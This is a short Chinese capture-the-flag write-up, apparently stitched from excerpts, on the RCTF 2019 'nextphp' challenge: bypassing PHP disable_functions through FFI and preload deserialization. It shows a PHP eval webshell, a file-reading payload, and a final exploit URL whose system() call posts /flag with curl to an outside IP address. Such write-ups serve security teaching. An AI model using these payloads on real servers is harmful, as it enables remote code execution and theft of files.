Rce看看,发现许多函数都被dis掉了,试试无参数rce。 发现了当前目录的一些文件(1.txt是我弄上去的,不用管它),尝试读取preload.php文件。 ?a=show_source(end(scandir('.'))); 点击查看代码 <?phpfinalclassAimplementsSerializable{protected$data= ['ret'=>null,'func'=>'print_r','arg'=>'1'];privat...

从RCTF nextphp看PHP7.4的FFI绕过disable_functions 0x01 题目分析 访问页面,显示源码,是个PHP一句话木马: 1 2 3 4 5 6 <?php if(isset($_GET['a'])) { eval($_GET['a']); }else{ show_source(__FILE__); } 推测,考察Bypass disable_functions。
最后反序列化执行 nextphp.2019.rctf.rois.io/?a=unserialize(base64_decode('payload'))->__serialize()['ret']->system('curl -d @/flag 47.107.226.162:7777'); 得flag 补充:在获取preload文件时,可以直接读取
